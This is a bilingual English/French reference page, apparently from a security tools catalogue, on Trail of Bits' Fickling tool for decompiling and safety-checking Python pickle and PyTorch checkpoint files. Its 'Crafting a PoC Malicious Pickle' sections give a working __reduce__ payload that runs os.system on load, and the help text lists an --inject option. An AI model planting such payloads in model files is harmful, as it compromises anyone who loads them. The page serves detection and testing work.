Fickling
Décompilateur de pickle Python, analyseur statique et réécrivain de bytecode de Trail of Bits, utilisé pour détecter, rétro-ingénierer ou fabriquer des fichiers basés sur pickle malveillants, y compris les checkpoints PyTorch. Trail of Bits' Python pickle decompiler, static analyzer, and bytecode rewriter — used to detect, reverse-engineer, or craft malicious pickle-based files including PyTorch checkpoints.
↗ https://github.com/trailofbits/ficklingOverview
Python’s pickle module executes arbitrary bytecode-like opcodes on load, and PyTorch’s default checkpoint format is pickle underneath — meaning any .pt/.pth file (or plain .pkl) is a potential code-execution payload. Fickling decompiles pickle streams into readable pseudo-Python, lets you statically analyze what a pickle file will actually do before deserializing it, and can rewrite/inject pickle bytecode for PoC purposes. It also ships an allowlist-based safety checker that blocks deserialization unless every referenced import is on a known-safe list, making it usable both offensively (crafting test payloads) and defensively (gating untrusted model loads).
Installation
pip install fickling
Decompiling / Inspecting a Pickle File
Decompile to pseudo-Python for manual review
fickling <model_checkpoint.pt>
Print the raw pickle opcode stream
fickling --trace <model_checkpoint.pt>
Static Safety Check
import fickling
# Raises if the pickle references anything outside the safe-import allowlist
with open("<model_checkpoint.pt>", "rb") as f:
fickling.check_safety(f)
Same check from the CLI, useful in a pre-load CI gate
fickling --check-safety <model_checkpoint.pt>
Crafting a PoC Malicious Pickle
import pickle, fickling
class Exploit:
def __reduce__(self):
import os
return (os.system, ("id > /tmp/pwned",))
# Serialize the payload as a normal-looking pickle
with open("payload.pkl", "wb") as f:
pickle.dump(Exploit(), f)
# Inspect it back with fickling to confirm what it would execute
fickling payload.pkl
Tips
- Prefer
fickling.check_safety()(allowlist-based) over trying to blocklist “bad” opcodes yourself — pickle’s flexibility makes blocklists easy to bypass. - Fickling can hook
pickle.load/torch.loadglobally in a process (fickling.always_check_safety()) to add a safety net around third-party code you don’t control. - Use the decompiled pseudo-Python output to write up exactly what a suspicious
.ptfile does for a report — much clearer for a client than raw opcodes.
Help / Man page
usage: fickling [-h] [--trace] [--check-safety] [--inject CODE]
[--output-file FILE] [-v] file
positional arguments:
file pickle/PyTorch checkpoint file to process
optional arguments:
--trace print raw opcode-by-opcode trace
--check-safety run allowlist-based safety analysis, nonzero
exit if unsafe references are found
--inject CODE inject a __reduce__-style payload (PoC/testing)
--output-file FILE write decompiled/modified output to a file
-v, --verbose verbose output
--version show version
python api:
fickling.check_safety(file_obj) raises on unsafe pickle
fickling.always_check_safety() hooks pickle.load/torch.load
fickling.fickle.Pickled.load(file_obj) parse into an inspectable AST
Vue d’ensemble
Le module pickle de Python exécute des opcodes de type bytecode arbitraires au chargement, et le format de checkpoint par défaut de PyTorch repose sur pickle en interne, ce qui signifie que tout fichier .pt/.pth (ou simple .pkl) est un payload d’exécution de code potentiel. Fickling décompile les flux pickle en pseudo-Python lisible, permet d’analyser statiquement ce qu’un fichier pickle va réellement faire avant de le désérialiser, et peut réécrire/injecter du bytecode pickle à des fins de PoC. Il embarque aussi un vérificateur de sécurité basé sur allowlist qui bloque la désérialisation à moins que chaque import référencé soit sur une liste connue comme sûre, le rendant utilisable aussi bien offensivement (fabriquer des payloads de test) que défensivement (filtrer le chargement de modèles non fiables).
Installation
pip install fickling
Décompiler / Inspecter un fichier pickle
# Décompiler en pseudo-Python pour une revue manuelle
fickling <model_checkpoint.pt>
# Afficher le flux brut d'opcodes pickle
fickling --trace <model_checkpoint.pt>
Vérification statique de sécurité
import fickling
# Lève une exception si le pickle référence quoi que ce soit hors de l'allowlist d'imports sûrs
with open("<model_checkpoint.pt>", "rb") as f:
fickling.check_safety(f)
# Même vérification via la CLI, utile dans une porte CI avant chargement
fickling --check-safety <model_checkpoint.pt>
Fabriquer un pickle malveillant PoC
import pickle, fickling
class Exploit:
def __reduce__(self):
import os
return (os.system, ("id > /tmp/pwned",))
# Sérialiser le payload comme un pickle d'apparence normale
with open("payload.pkl", "wb") as f:
pickle.dump(Exploit(), f)
# L'inspecter avec fickling pour confirmer ce qu'il exécuterait
fickling payload.pkl
Conseils
- Préférer
fickling.check_safety()(basé sur allowlist) plutôt que d’essayer de bloquer les “mauvais” opcodes soi-même : la flexibilité de pickle rend les blocklists faciles à contourner. - Fickling peut hooker
pickle.load/torch.loadglobalement dans un processus (fickling.always_check_safety()) pour ajouter un filet de sécurité autour de code tiers que vous ne contrôlez pas. - Utiliser la sortie pseudo-Python décompilée pour documenter précisément ce que fait un fichier
.ptsuspect dans un rapport : bien plus clair pour un client que des opcodes bruts.
Aide / Page de manuel
usage: fickling [-h] [--trace] [--check-safety] [--inject CODE]
[--output-file FILE] [-v] file
positional arguments:
file pickle/PyTorch checkpoint file to process
optional arguments:
--trace print raw opcode-by-opcode trace
--check-safety run allowlist-based safety analysis, nonzero
exit if unsafe references are found
--inject CODE inject a __reduce__-style payload (PoC/testing)
--output-file FILE write decompiled/modified output to a file
-v, --verbose verbose output
--version show version
python api:
fickling.check_safety(file_obj) raises on unsafe pickle
fickling.always_check_safety() hooks pickle.load/torch.load
fickling.fickle.Pickled.load(file_obj) parse into an inspectable AST